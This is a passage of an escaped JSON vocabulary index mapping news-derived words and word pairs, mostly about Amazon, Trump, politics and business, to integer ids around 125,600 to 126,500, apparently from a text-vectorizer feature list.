125578,\n  \"agenda don\": 125579,\n  \"reports rich\": 125580,\n  \"refugee admissions\": 125581,\n  \"young son\": 125582,\n  \"asking foreign\": 125583,\n  \"abate\": 125584,\n  \"community international\": 125585,\n  \"potentially saved\": 125586,\n  \"average clients\": 125587,\n  \"provisions taking\": 125588,\n  \"recent study\": 125589,\n  \"600 stores\": 125590,\n  \"stone page\": 125591,\n  \"fear \\u0430bob\": 125592,\n  \"rare trump\": 125593,\n  \"categories short\": 125594,\n  \"62b euro\": 125595,\n  \"favorite kind\": 125596,\n  \"charitable donations\": 125597,\n  \"don lose\": 125598,\n  \"house deemed\": 125599,\n  \"asking taxpayers\": 125600,\n  \"dividends net\": 125601,\n  \"sex marriage\": 125602,\n  \"country experienced\": 125603,\n  \"wedding ceremony\": 125604,\n  \"knocked\": 125605,\n  \"comeback bid\": 125606,\n  \"collects taxes\": 125607,\n  \"dissolving marriage\": 125608,\n  \"house new\": 125609,\n  \"liberties group\": 125610,\n  \"flared\": 125611,\n  \"drops gates\": 125612,\n  \"midland adm\": 125613,\n  \"successful tv\": 125614,\n  \"z4 o2x\": 125615,\n  \"considering cutting\": 125616,\n  \"residents small\": 125617,\n  \"ethics reform\": 125618,\n  \"japantaxi\": 125619,\n  \"science technocrats\": 125620,\n  \"caravan delivery\": 125621,\n  \"implements price\": 125622,\n  \"russia investigation\": 125623,\n  \"notre dame\": 125624,\n  \"greenfield told\": 125625,\n  \"bengali\": 125626,\n  \"corporation nyse\": 125627,\n  \"drone program\": 125628,\n  \"frequently rails\": 125629,\n  \"seattle city\": 125630,\n  \"city journalist\": 125631,\n  \"tin box\": 125632,\n  \"way regardless\": 125633,\n  \"votes wishing\": 125634,\n  \"rest win\": 125635,\n  \"comprehensive piece\": 125636,\n  \"affordable college\": 125637,\n  \"john rockefeller\": 125638,\n  \"2016 speaking\": 125639,\n  \"prologue\": 125640,\n  \"judges\": 125641,\n  \"dale ddale8\": 125642,\n  \"markets managing\": 125643,\n  \"latino voter\": 125644,\n  \"appropriately attribute\": 125645,\n  \"criminal record\": 125646,\n  \"lawsuit donald\": 125647,\n  \"aiken\": 125648,\n  \"cop jake\": 125649,\n  \"depend solely\": 125650,\n  \"ranchers\": 125651,\n  \"characters running\": 125652,\n  \"swat standoff\": 125653,\n  \"neighbourhood\": 125654,\n  \"immiserating\": 125655,\n  \"throw unable\": 125656,\n  \"headlinetext snl\": 125657,\n  \"altogether related\": 125658,\n  \"mere days\": 125659,\n  \"amazon minimum\": 125660,\n  \"smelled swamp\": 125661,\n  \"errors snow\": 125662,\n  \"giant donning\": 125663,\n  \"migrants\": 125664,\n  \"untimely death\": 125665,\n  \"impossible storyline\": 125666,\n  \"support dispute\": 125667,\n  \"yeezy\": 125668,\n  \"better management\": 125669,\n  \"gyllenhaal including\": 125670,\n  \"amazon commerce\": 125671,\n  \"correction\": 125672,\n  \"taxing amazon\": 125673,\n  \"complex businesses\": 125674,\n  \"vox lux\": 125675,\n  \"facebook plunged\": 125676,\n  \"soybean farmers\": 125677,\n  \"tainted cross\": 125678,\n  \"bks\": 125679,\n  \"amazon drones\": 125680,\n  \"2017 mark\": 125681,\n  \"bezos circle\": 125682,\n  \"46th\": 125683,\n  \"keir\": 125684,\n  \"calendars\": 125685,\n  \"jontalton jon\": 125686,\n  \"salesforces\": 125687,\n  \"federal bureau\": 125688,\n  \"named matthew\": 125689,\n  \"pleasing\": 125690,\n  \"software known\": 125691,\n  \"sanchez pro\": 125692,\n  \"kristol\": 125693,\n  \"300 people\": 125694,\n  \"fred hutchinson\": 125695,\n  \"ben shahar\": 125696,\n  \"westneat marveled\": 125697,\n  \"trump condemnation\": 125698,\n  \"mulls gag\": 125699,\n  \"mode near\": 125700,\n  \"amazon low\": 125701,\n  \"activators market\": 125702,\n  \"nobusinesswithice\": 125703,\n  \"jon allsop\": 125704,\n  \"succeeded apple\": 125705,\n  \"internet subway\": 125706,\n  \"savings changes\": 125707,\n  \"palmiotto\": 125708,\n  \"halt bezos\": 125709,\n  \"fool singapore\": 125710,\n  \"trump grew\": 125711,\n  \"wattpad\": 125712,\n  \"lane moore\": 125713,\n  \"probably betweenalexandria\": 125714,\n  \"threaten abortion\": 125715,\n  \"planning board\": 125716,\n  \"german stocks\": 125717,\n  \"meaningful cause\": 125718,\n  \"kevin curry\": 125719,\n  \"advise cbp\": 125720,\n  \"aviva\": 125721,\n  \"shelter sidebar\": 125722,\n  \"alternative ways\": 125723,\n  \"women correctional\": 125724,\n  \"fierce campaign\": 125725,\n  \"jair schmitt\": 125726,\n  \"cramer longtime\": 125727,\n  \"auto aap\": 125728,\n  \"year struck\": 125729,\n  \"boeing dennis\": 125730,\n  \"apple owed\": 125731,\n  \"including affordable\": 125732,\n  \"free meaning\": 125733,\n  \"bigoted\": 125734,\n  \"2018 buffett\": 125735,\n  \"policy announcing\": 125736,\n  \"catholicedchat\": 125737,\n  \"specifically tailored\": 125738,\n  \"burn lot\": 125739,\n  \"healthier lifestyles\": 125740,\n  \"gop split\": 125741,\n  \"pledged\": 125742,\n  \"simply moved\": 125743,\n  \"shown willingness\": 125744,\n  \"steven overly\": 125745,\n  \"comments time\": 125746,\n  \"getting hq2\": 125747,\n  \"media alleged\": 125748,\n  \"actions\": 125749,\n  \"compass bancshares\": 125750,\n  \"york pols\": 125751,\n  \"isolated\": 125752,\n  \"huge profits\": 125753,\n  \"establish amazon\": 125754,\n  \"domestic sales\": 125755,\n  \"nations\": 125756,\n  \"huh remind\": 125757,\n  \"trump photos\": 125758,\n  \"care forum\": 125759,\n  \"gossip dates\": 125760,\n  \"overlooked\": 125761,\n  \"lindsey\": 125762,\n  \"imperial\": 125763,\n  \"resources taxpayer\": 125764,\n  \"genetically engineered\": 125765,\n  \"toddler having\": 125766,\n  \"unify trump\": 125767,\n  \"loss delrahim\": 125768,\n  \"main clients\": 125769,\n  \"market conversely\": 125770,\n  \"lead threatened\": 125771,\n  \"threats facing\": 125772,\n  \"probably true\": 125773,\n  \"just try\": 125774,\n  \"democrats retook\": 125775,\n  \"8th wapo\": 125776,\n  \"welcomes additional\": 125777,\n  \"powerful super\": 125778,\n  \"hurd commercial\": 125779,\n  \"img_gallery_imageref\": 125780,\n  \"camps passes\": 125781,\n  \"delagrave\": 125782,\n  \"assistance received\": 125783,\n  \"vendors say\": 125784,\n  \"doozy according\": 125785,\n  \"mccabe speaks\": 125786,\n  \"really irritate\": 125787,\n  \"reproductive rights\": 125788,\n  \"cha\": 125789,\n  \"potomac river\": 125790,\n  \"dollar money\": 125791,\n  \"time firearm\": 125792,\n  \"howie carr\": 125793,\n  \"packages containing\": 125794,\n  \"gathering capabilities\": 125795,\n  \"forfederal contractors\": 125796,\n  \"choice words\": 125797,\n  \"susanne\": 125798,\n  \"cellphone info\": 125799,\n  \"alphabet investors\": 125800,\n  \"aktiengesellschaft\": 125801,\n  \"forgets\": 125802,\n  \"stonecrest mayor\": 125803,\n  \"video series\": 125804,\n  \"spectator uses\": 125805,\n  \"letter maloney\": 125806,\n  \"just larger\": 125807,\n  \"association maybe\": 125808,\n  \"skeptical handling\": 125809,\n  \"aesthetic gifts\": 125810,\n  \"schumer announced\": 125811,\n  \"frequent criticism\": 125812,\n  \"report contained\": 125813,\n  \"trump resumes\": 125814,\n  \"alexa knows\": 125815,\n  \"priority list\": 125816,\n  \"conding\": 125817,\n  \"director kevin\": 125818,\n  \"toxic workplace\": 125819,\n  \"davis think\": 125820,\n  \"status checks\": 125821,\n  \"2016election\": 125822,\n  \"business economy\": 125823,\n  \"dw france\": 125824,\n  \"session means\": 125825,\n  \"air army\": 125826,\n  \"control tend\": 125827,\n  \"effort defeated\": 125828,\n  \"based seeno\": 125829,\n  \"linnane 415\": 125830,\n  \"gizmodo follows\": 125831,\n  \"48bnguvivs\": 125832,\n  \"looks impressive\": 125833,\n  \"spawned host\": 125834,\n  \"y1 a4ee\": 125835,\n  \"berkshire\": 125836,\n  \"brazilian ministers\": 125837,\n  \"identity 8211\": 125838,\n  \"book art\": 125839,\n  \"panned ad\": 125840,\n  \"phenomenon amazon\": 125841,\n  \"isnt\": 125842,\n  \"ongoing twitter\": 125843,\n  \"movement reached\": 125844,\n  \"misleading portrait\": 125845,\n  \"language alleging\": 125846,\n  \"deputyattorney\": 125847,\n  \"information sources\": 125848,\n  \"sequels\": 125849,\n  \"opposition chris\": 125850,\n  \"googl rode\": 125851,\n  \"boosting user\": 125852,\n  \"berenberg warned\": 125853,\n  \"lee\": 125854,\n  \"corrupts\": 125855,\n  \"astoria houses\": 125856,\n  \"industry lobbyists\": 125857,\n  \"zuker ongoing\": 125858,\n  \"approximately million\": 125859,\n  \"matt cagle\": 125860,\n  \"structural reform\": 125861,\n  \"castle\": 125862,\n  \"jedi know\": 125863,\n  \"included despite\": 125864,\n  \"roots pioneered\": 125865,\n  \"asserted federal\": 125866,\n  \"aging infrastructure\": 125867,\n  \"pursue disruption\": 125868,\n  \"russian activities\": 125869,\n  \"india commerce\": 125870,\n  \"policies simotas\": 125871,\n  \"ending dizzying\": 125872,\n  \"foreign market\": 125873,\n  \"discussion surrounding\": 125874,\n  \"wheeling\": 125875,\n  \"trump playing\": 125876,\n  \"range\": 125877,\n  \"market pricing\": 125878,\n  \"weeks kim\": 125879,\n  \"institute screening\": 125880,\n  \"kentucky air\": 125881,\n  \"production says\": 125882,\n  \"norma rae\": 125883,\n  \"help shore\": 125884,\n  \"constellation\": 125885,\n  \"unintentionally hilarious\": 125886,\n  \"government takes\": 125887,\n  \"morning oracle\": 125888,\n  \"trump limiting\": 125889,\n  \"tirades according\": 125890,\n  \"think garamendi\": 125891,\n  \"china goal\": 125892,\n  \"business nytimes\": 125893,\n  \"kavanaugh usa\": 125894,\n  \"wynn resorts\": 125895,\n  \"unfavorable reviews\": 125896,\n  \"report postmaster\": 125897,\n  \"holocaust centers\": 125898,\n  \"activated home\": 125899,\n  \"billion unchanged\": 125900,\n  \"local democrats\": 125901,\n  \"sites think\": 125902,\n  \"unveiled\": 125903,\n  \"expiration date\": 125904,\n  \"sixteen year\": 125905,\n  \"spokesperson\": 125906,\n  \"branded properties\": 125907,\n  \"reboot money\": 125908,\n  \"group told\": 125909,\n  \"book briefly\": 125910,\n  \"materials entitled\": 125911,\n  \"url jquery\": 125912,\n  \"strategic\": 125913,\n  \"time trump\": 125914,\n  \"recent baltic\": 125915,\n  \"investors took\": 125916,\n  \"large text\": 125917,\n  \"caps shirts\": 125918,\n  \"strategy propel\": 125919,\n  \"netflixs maniac\": 125920,\n  \"hq2 backlash\": 125921,\n  \"fundstrat global\": 125922,\n  \"tech elizabeth\": 125923,\n  \"private emails\": 125924,\n  \"shopping engine\": 125925,\n  \"price index\": 125926,\n  \"toronto star\": 125927,\n  \"stumbled little\": 125928,\n  \"included list\": 125929,\n  \"cheaper price\": 125930,\n  \"function var\": 125931,\n  \"charge patients\": 125932,\n  \"medical group\": 125933,\n  \"singapore writer\": 125934,\n  \"rocky driveway\": 125935,\n  \"result\": 125936,\n  \"crash sends\": 125937,\n  \"incident wiped\": 125938,\n  \"oil trophy\": 125939,\n  \"british arm\": 125940,\n  \"recently cast\": 125941,\n  \"intelligence investigation\": 125942,\n  \"learning pioneering\": 125943,\n  \"taxes refuses\": 125944,\n  \"sole determining\": 125945,\n  \"journalistic standards\": 125946,\n  \"withstand external\": 125947,\n  \"fixing cartel\": 125948,\n  \"sell taxable\": 125949,\n  \"intensely uncomfortable\": 125950,\n  \"family tradition\": 125951,\n  \"straightforward\": 125952,\n  \"assumed outsized\": 125953,\n  \"rightful\": 125954,\n  \"escalating dick\": 125955,\n  \"shambles\": 125956,\n  \"earnings amazon\": 125957,\n  \"power plant\": 125958,\n  \"sharrett\": 125959,\n  \"past deals\": 125960,\n  \"antagonize\": 125961,\n  \"jacob derwin\": 125962,\n  \"trump despises\": 125963,\n  \"expressing regret\": 125964,\n  \"especially worth\": 125965,\n  \"surivor\": 125966,\n  \"perturbed\": 125967,\n  \"pros fretting\": 125968,\n  \"watch docu\": 125969,\n  \"owned construction\": 125970,\n  \"new brand\": 125971,\n  \"kunduz afghanistan\": 125972,\n  \"union work\": 125973,\n  \"annual cap\": 125974,\n  \"week midterm\": 125975,\n  \"hall assembly\": 125976,\n  \"casual\": 125977,\n  \"amazonuk\": 125978,\n  \"shifted focus\": 125979,\n  \"aggressively criticized\": 125980,\n  \"nelson lawyers\": 125981,\n  \"talk justawittybit\": 125982,\n  \"dujovne\": 125983,\n  \"net deficiency\": 125984,\n  \"walk\": 125985,\n  \"espaillat\": 125986,\n  \"ubiquitous digital\": 125987,\n  \"antitrust authorities\": 125988,\n  \"apologized wapo\": 125989,\n  \"r4ee e5e\": 125990,\n  \"torv married\": 125991,\n  \"surcharges\": 125992,\n  \"duties driving\": 125993,\n  \"nintendo\": 125994,\n  \"charles schwab\": 125995,\n  \"remains far\": 125996,\n  \"misleading tweets\": 125997,\n  \"month critics\": 125998,\n  \"vibrams\": 125999,\n  \"establish high\": 126000,\n  \"deliveroo london\": 126001,\n  \"postrecession malaise\": 126002,\n  \"phone case\": 126003,\n  \"contrarian buying\": 126004,\n  \"marketing expense\": 126005,\n  \"slashing overseas\": 126006,\n  \"dubbed buff\": 126007,\n  \"crown castle\": 126008,\n  \"length 77482\": 126009,\n  \"outrage trump\": 126010,\n  \"earliest\": 126011,\n  \"clubs given\": 126012,\n  \"government competition\": 126013,\n  \"feel look\": 126014,\n  \"accept cut\": 126015,\n  \"direct orders\": 126016,\n  \"pays sources\": 126017,\n  \"bic\": 126018,\n  \"face surveillance\": 126019,\n  \"smart goggles\": 126020,\n  \"look uber\": 126021,\n  \"seized\": 126022,\n  \"markets represent\": 126023,\n  \"retail dive\": 126024,\n  \"shares academy\": 126025,\n  \"corporate instinct\": 126026,\n  \"issuing report\": 126027,\n  \"monetisation\": 126028,\n  \"reached level\": 126029,\n  \"home equity\": 126030,\n  \"shop economy\": 126031,\n  \"progressive income\": 126032,\n  \"verification\": 126033,\n  \"lull\": 126034,\n  \"started emotionally\": 126035,\n  \"brian olsavsky\": 126036,\n  \"republicans botched\": 126037,\n  \"8000 6000\": 126038,\n  \"point park\": 126039,\n  \"anti trumpers\": 126040,\n  \"republicans tax\": 126041,\n  \"zondo wraps\": 126042,\n  \"consensus fourth\": 126043,\n  \"official explains\": 126044,\n  \"xpo logistics\": 126045,\n  \"sick\": 126046,\n  \"steel mills\": 126047,\n  \"strauss hauer\": 126048,\n  \"described political\": 126049,\n  \"bedroom action\": 126050,\n  \"serrano drafted\": 126051,\n  \"surmise\": 126052,\n  \"video_duration 1iq5vw0\": 126053,\n  \"watch amazon\": 126054,\n  \"conservative union\": 126055,\n  \"braithwaite doubleday\": 126056,\n  \"digital presence\": 126057,\n  \"people work\": 126058,\n  \"1557et\": 126059,\n  \"user community\": 126060,\n  \"hottest amazon\": 126061,\n  \"married couples\": 126062,\n  \"allowing single\": 126063,\n  \"master guide\": 126064,\n  \"insistent woman\": 126065,\n  \"bartiromo liz\": 126066,\n  \"past initiatives\": 126067,\n  \"jobs nolan\": 126068,\n  \"week international\": 126069,\n  \"youtube carlos\": 126070,\n  \"jefferson graham\": 126071,\n  \"netease\": 126072,\n  \"spaceflight\": 126073,\n  \"michael reynolds\": 126074,\n  \"abroad trump\": 126075,\n  \"segundo calif\": 126076,\n  \"obama thinks\": 126077,\n  \"decisions don\": 126078,\n  \"awaken\": 126079,\n  \"ranking saw\": 126080,\n  \"echo listened\": 126081,\n  \"buzzfeed editor\": 126082,\n  \"mysterious death\": 126083,\n  \"promise\": 126084,\n  \"hired private\": 126085,\n  \"halloween message\": 126086,\n  \"online streaming\": 126087,\n  \"peters executive\": 126088,\n  \"bolsonaro takes\": 126089,\n  \"lo forklift\": 126090,\n  \"book david\": 126091,\n  \"billion firm\": 126092,\n  \"smarten\": 126093,\n  \"digital service\": 126094,\n  \"dp b07f7svpw4\": 126095,\n  \"rams vikings\": 126096,\n  \"named cease\": 126097,\n  \"deferred tax\": 126098,\n  \"journal cfo\": 126099,\n  \"neck earlier\": 126100,\n  \"expanded selection\": 126101,\n  \"techfreedom\": 126102,\n  \"pay upwards\": 126103,\n  \"vermont unveiled\": 126104,\n  \"highest standard\": 126105,\n  \"deal following\": 126106,\n  \"digital jealousy\": 126107,\n  \"ecco feast\": 126108,\n  \"saw tremendous\": 126109,\n  \"better sanders\": 126110,\n  \"order launching\": 126111,\n  \"store park\": 126112,\n  \"powerhouses goldman\": 126113,\n  \"vehicle\": 126114,\n  \"belching smoke\": 126115,\n  \"areas currently\": 126116,\n  \"just allege\": 126117,\n  \"just economics\": 126118,\n  \"ways panelists\": 126119,\n  \"wealthiest corporations\": 126120,\n  \"formally begin\": 126121,\n  \"vikram\": 126122,\n  \"retail sea\": 126123,\n  \"confusing braindead\": 126124,\n  \"agencies follow\": 126125,\n  \"unit chief\": 126126,\n  \"degrading\": 126127,\n  \"faced picketing\": 126128,\n  \"clich\\u00e9s\": 126129,\n  \"lantern\": 126130,\n  \"catalog thrilled\": 126131,\n  \"great pair\": 126132,\n  \"james patchett\": 126133,\n  \"route amazon\": 126134,\n  \"microsoft chipped\": 126135,\n  \"began probing\": 126136,\n  \"holder dream\": 126137,\n  \"space symposium\": 126138,\n  \"halted\": 126139,\n  \"restaurant delivery\": 126140,\n  \"videocardcontents url\": 126141,\n  \"presidential just\": 126142,\n  \"tech cnbc\": 126143,\n  \"ink\": 126144,\n  \"reported read\": 126145,\n  \"resigned foreign\": 126146,\n  \"away investors\": 126147,\n  \"distortion\": 126148,\n  \"barry cohen\": 126149,\n  \"freshman class\": 126150,\n  \"notable politicos\": 126151,\n  \"court pick\": 126152,\n  \"news best\": 126153,\n  \"time_updated\": 126154,\n  \"mds face\": 126155,\n  \"000 deductible\": 126156,\n  \"purchasing journey\": 126157,\n  \"secret government\": 126158,\n  \"people gudiel\": 126159,\n  \"supposedly level\": 126160,\n  \"luck trump\": 126161,\n  \"isolate israel\": 126162,\n  \"having reduced\": 126163,\n  \"brian haven\": 126164,\n  \"answer surveys\": 126165,\n  \"avoid corporate\": 126166,\n  \"founder\": 126167,\n  \"operative lee\": 126168,\n  \"delivery main\": 126169,\n  \"favorite memories\": 126170,\n  \"amazon max\": 126171,\n  \"misuse\": 126172,\n  \"entendre headlines\": 126173,\n  \"certain goods\": 126174,\n  \"lendio shows\": 126175,\n  \"dicey\": 126176,\n  \"cargo delivery\": 126177,\n  \"notably realdonaldtrump\": 126178,\n  \"tabloid affair\": 126179,\n  \"year reaching\": 126180,\n  \"frontier\": 126181,\n  \"wildfires israel\": 126182,\n  \"tackles slew\": 126183,\n  \"arizona sinema\": 126184,\n  \"en madrid\": 126185,\n  \"today consumers\": 126186,\n  \"sandpaper touch\": 126187,\n  \"support development\": 126188,\n  \"report saying\": 126189,\n  \"private entities\": 126190,\n  \"worldwideerc org\": 126191,\n  \"smug comfortablysmug\": 126192,\n  \"conundrum article\": 126193,\n  \"berlin funky\": 126194,\n  \"comparison apple\": 126195,\n  \"tweeted hopefully\": 126196,\n  \"democrats plans\": 126197,\n  \"secrecy experts\": 126198,\n  \"hickman testified\": 126199,\n  \"day price\": 126200,\n  \"allegations easily\": 126201,\n  \"categories include\": 126202,\n  \"prayed\": 126203,\n  \"hospital blood\": 126204,\n  \"tci\": 126205,\n  \"biggest passenger\": 126206,\n  \"environmental organization\": 126207,\n  \"enroute\": 126208,\n  \"wallstreetbets board\": 126209,\n  \"negotiators meet\": 126210,\n  \"legislative text\": 126211,\n  \"arts crafts\": 126212,\n  \"city maitland\": 126213,\n  \"bylaws\": 126214,\n  \"video fixed\": 126215,\n  \"market openings\": 126216,\n  \"campaign donation\": 126217,\n  \"rally black\": 126218,\n  \"isn bothered\": 126219,\n  \"highs secondly\": 126220,\n  \"shutdown standoff\": 126221,\n  \"gov gary\": 126222,\n  \"mails published\": 126223,\n  \"cautionary\": 126224,\n  \"rodriguez\": 126225,\n  \"global supply\": 126226,\n  \"wrote amazon\": 126227,\n  \"hired lobbying\": 126228,\n  \"capsule\": 126229,\n  \"digital journey\": 126230,\n  \"6605745\": 126231,\n  \"spending lot\": 126232,\n  \"preservation bloomberg\": 126233,\n  \"story centres\": 126234,\n  \"suffering backlash\": 126235,\n  \"level investigations\": 126236,\n  \"fighter pilot\": 126237,\n  \"company death\": 126238,\n  \"intelligence lab\": 126239,\n  \"lastmodifiedstate type\": 126240,\n  \"disorders including\": 126241,\n  \"ceaselessly\": 126242,\n  \"chile president\": 126243,\n  \"account suspensions\": 126244,\n  \"officials reuters\": 126245,\n  \"discrepancy want\": 126246,\n  \"membership program\": 126247,\n  \"country online\": 126248,\n  \"hour saw\": 126249,\n  \"proxies\": 126250,\n  \"mcdormand\": 126251,\n  \"65m\": 126252,\n  \"maggie bullock\": 126253,\n  \"sort\": 126254,\n  \"jurisdictions\": 126255,\n  \"veer\": 126256,\n  \"wouldn make\": 126257,\n  \"surveillance agencies\": 126258,\n  \"bets riding\": 126259,\n  \"financial malware\": 126260,\n  \"lewis jacobs\": 126261,\n  \"week bipartisanship\": 126262,\n  \"federal justice\": 126263,\n  \"rents\": 126264,\n  \"athletica\": 126265,\n  \"unlikely party\": 126266,\n  \"ceo glenn\": 126267,\n  \"mind amazon\": 126268,\n  \"state legislators\": 126269,\n  \"donates\": 126270,\n  \"families nearly\": 126271,\n  \"snatched away\": 126272,\n  \"stores pmnts\": 126273,\n  \"break luckily\": 126274,\n  \"bezos hack\": 126275,\n  \"triggers\": 126276,\n  \"opioids writes\": 126277,\n  \"international sanctions\": 126278,\n  \"circular firing\": 126279,\n  \"tech behemoths\": 126280,\n  \"family compound\": 126281,\n  \"alphabet google\": 126282,\n  \"counterfeit vox\": 126283,\n  \"flow decline\": 126284,\n  \"spectator fixation\": 126285,\n  \"casey sherman\": 126286,\n  \"place 2018\": 126287,\n  \"supported hundreds\": 126288,\n  \"means warren\": 126289,\n  \"survivor tie\": 126290,\n  \"parkland heads\": 126291,\n  \"investigation publicly\": 126292,\n  \"business ambitions\": 126293,\n  \"sells item\": 126294,\n  \"treasury released\": 126295,\n  \"type card\": 126296,\n  \"chapter pick\": 126297,\n  \"selling open\": 126298,\n  \"appreciated mass\": 126299,\n  \"carl icahn\": 126300,\n  \"fargo wfc\": 126301,\n  \"antitrust regulators\": 126302,\n  \"vegas yesterday\": 126303,\n  \"operations jedi\": 126304,\n  \"honest divine\": 126305,\n  \"constitutional crisis\": 126306,\n  \"sainsbury attributes\": 126307,\n  \"seriously asked\": 126308,\n  \"paperwork involved\": 126309,\n  \"photographers\": 126310,\n  \"instagram youtube\": 126311,\n  \"popular perk\": 126312,\n  \"mills makes\": 126313,\n  \"crafting pointed\": 126314,\n  \"spending taxpayer\": 126315,\n  \"senate appoints\": 126316,\n  \"prison oversight\": 126317,\n  \"approved parts\": 126318,\n  \"refined oil\": 126319,\n  \"competitor dominant\": 126320,\n  \"marino directed\": 126321,\n  \"robbery severe\": 126322,\n  \"administration participated\": 126323,\n  \"company cloud\": 126324,\n  \"business processes\": 126325,\n  \"grabbed market\": 126326,\n  \"avoided\": 126327,\n  \"custody terms\": 126328,\n  \"home builders\": 126329,\n  \"tonight hollenhorst\": 126330,\n  \"dana rohrabacher\": 126331,\n  \"undo lot\": 126332,\n  \"labor legal\": 126333,\n  \"busily assembling\": 126334,\n  \"legitimize termination\": 126335,\n  \"religious persecution\": 126336,\n  \"tried inhalants\": 126337,\n  \"origin jeff\": 126338,\n  \"shoved\": 126339,\n  \"maybe chicken\": 126340,\n  \"included michelle\": 126341,\n  \"swearing\": 126342,\n  \"amazon work\": 126343,\n  \"wrote couple\": 126344,\n  \"week ronna\": 126345,\n  \"image caption\": 126346,\n  \"city nightlife\": 126347,\n  \"companies brought\": 126348,\n  \"expecting revenue\": 126349,\n  \"subdued ahead\": 126350,\n  \"erotic selfies\": 126351,\n  \"headlights\": 126352,\n  \"venture rock\": 126353,\n  \"involved halliburton\": 126354,\n  \"rosiest picture\": 126355,\n  \"box contact\": 126356,\n  \"diverse urban\": 126357,\n  \"flyers left\": 126358,\n  \"abstract\": 126359,\n  \"growth does\": 126360,\n  \"drew opposition\": 126361,\n  \"franchisees suppliers\": 126362,\n  \"append\": 126363,\n  \"2018 cnet\": 126364,\n  \"times best\": 126365,\n  \"wait writes\": 126366,\n  \"national limits\": 126367,\n  \"logs\": 126368,\n  \"mystock88photo\": 126369,\n  \"amazon filed\": 126370,\n  \"block usa\": 126371,\n  \"following apple\": 126372,\n  \"children traveling\": 126373,\n  \"important consideration\": 126374,\n  \"benchmarks climbed\": 126375,\n  \"provider bright\": 126376,\n  \"people obvious\": 126377,\n  \"l7\": 126378,\n  \"robins\": 126379,\n  \"gusto television\": 126380,\n  \"midterm commonly\": 126381,\n  \"podium\": 126382,\n  \"favour amazon\": 126383,\n  \"new retaliatory\": 126384,\n  \"kid falls\": 126385,\n  \"thepolitical opposition\": 126386,\n  \"potentially leading\": 126387,\n  \"growing assortment\": 126388,\n  \"amazon demo\": 126389,\n  \"bipartisan overtures\": 126390,\n  \"bruce norris\": 126391,\n  \"conway cited\": 126392,\n  \"amazon broad\": 126393,\n  \"trademark approvals\": 126394,\n  \"underestimate\": 126395,\n  \"discounted postage\": 126396,\n  \"schemes rarely\": 126397,\n  \"global turnover\": 126398,\n  \"grayson change\": 126399,\n  \"sweeteners\": 126400,\n  \"kundu kings\": 126401,\n  \"stepped\": 126402,\n  \"foxconn officials\": 126403,\n  \"paradise home\": 126404,\n  \"work given\": 126405,\n  \"important summit\": 126406,\n  \"interview rielly\": 126407,\n  \"finalists say\": 126408,\n  \"eventually tried\": 126409,\n  \"dropped 000\": 126410,\n  \"fits pattern\": 126411,\n  \"corn farmers\": 126412,\n  \"jobs hired\": 126413,\n  \"cuomo told\": 126414,\n  \"wages increase\": 126415,\n  \"dolce gabbana\": 126416,\n  \"ignore european\": 126417,\n  \"implemented\": 126418,\n  \"moralists\": 126419,\n  \"refining\": 126420,\n  \"post quest\": 126421,\n  \"temporary tax\": 126422,\n  \"usually sensitive\": 126423,\n  \"grizzlies beat\": 126424,\n  \"gartner predicted\": 126425,\n  \"l8 c2x\": 126426,\n  \"monkey\": 126427,\n  \"shameless self\": 126428,\n  \"terrible pro\": 126429,\n  \"post columnist\": 126430,\n  \"billion 500\": 126431,\n  \"explore scientific\": 126432,\n  \"firm breakups\": 126433,\n  \"sessions arrives\": 126434,\n  \"run amazon\": 126435,\n  \"care provider\": 126436,\n  \"national sales\": 126437,\n  \"involved debbie\": 126438,\n  \"humana\": 126439,\n  \"kfile\": 126440,\n  \"including sit\": 126441,\n  \"paying tax\": 126442,\n  \"exploration equipment\": 126443,\n  \"interests gianaris\": 126444,\n  \"indefinitely presumably\": 126445,\n  \"jodie\": 126446,\n  \"awarded different\": 126447,\n  \"trump cabinet\": 126448,\n  \"bring massive\": 126449,\n  \"shutdown best\": 126450,\n  \"congressional elections\": 126451,\n  \"prolong\": 126452,\n  \"makes connected\": 126453,\n  \"gates facebook\": 126454,\n  \"forces dates\": 126455,\n  \"cancel reply\": 126456,\n  \"mind chris\": 126457,\n  \"985 68m\": 126458,\n  \"hardware devices\": 126459,\n  \"just slapped\": 126460,\n  \"clergy members\": 126461,\n  \"isn illegal\": 126462,\n  \"platform envious\": 126463,\n  \"kit results\": 126464,\n  \"doesn work\": 126465,\n  \"cbs magnum\": 126466,\n  \"bay took\": 126467,\n  \"zoning mayor\": 126468,\n  \"warning iran\": 126469,\n  \"aftermath\": 126470,\n  \"b1 length\": 126471,\n  \"recruitment specific\": 126472,\n  \"wants higher\": 126473,\n  \"components gross\": 126474,\n  \"alluding\": 126475,\n  \"anna cook\": 126476,\n  \"typical amazon\": 126477,\n  \"eisen spoke\": 126478,\n  \"ftc bureau\": 126479,\n  \"bezos marriage\": 126480,\n  \"gadget junkies\": 126481,\n  \"jumaane\": 126482,\n  \"giant stock\": 126483,\n  \"newsfile\": 126484,\n  \"unsung rockstars\": 126485,\n  \"lanxon\": 126486,\n  \"hold ron\": 126487,\n  \"blight counters\": 126488,\n  \"single sale\": 126489,\n  \"pence begins\": 126490,\n  \"report quarterly\": 126491,\n  \"quirky comedy\": 126492,\n  \"gage\": 126493,\n  \"rehearsals\": 126494,\n  \"region braintree\": 126495,\n  \"4hdcot4s3w aclu\": 126496,\n  \"contrast obama\": 126497,\n  \"role transforming\": 126498,\n  \"generosity\": 126499,\n  \"student named\": 126500,\n  \"ecommerce packages\": 126501,\n  \"times publisher\": 126502,\n  \"actor bojack\": 126503,\n  \"text table\": 126504,\n  \"business attendees\": 126505,\n  \"barreto\": 126506,\n  \"confused amazon\": 126507,\n  \"personal cost\": 126508,\n  \"slr shockproof\": 126509,\n  \"help main\": 126510,\n  \"probe stands\": 126511,\n  \"abc russia\": 126512,\n  \"open platforms\": 126513,\n  \"amy mayer\": 126514,\n  \"hey ladies\": 126515,\n  \"example bartiromo\": 126516,\n  \"big advantage\": 126517,\n  \"fit sq\": 126518,\n  \"budget 2018\": 126519,\n  \"actually happened\": 126520,\n  \"ice makes\": 126521,\n  \"boycotted prime\": 126522,\n  \"proven true\": 126523,\n  \"ordered postal\": 126524,\n  \"clip michael\": 126525,\n  \"say interactions\": 126526,\n  \"federalist society\": 126527,\n  \"repellant filled\": 126528,\n  \"stye\": 126529,\n  \"amazon basically\": 126530,\n  \"young parents\": 126531,\n  \"97th street\": 126532,\n  \"children inefficient\": 126533,\n  \"baited\": 126534,\n  \"fed caused\": 126535,\n  \"racist writers\": 126536,\n  \"ouroboros\": 126537,\n  \"books include\": 126538,\n  \"kohl nyse\": 126539,\n  \"higher highs\": 126540,\n  \"basic underlying\": 126541,\n  \"brian reed\": 126542,\n  \"sthash\": 126543,\n  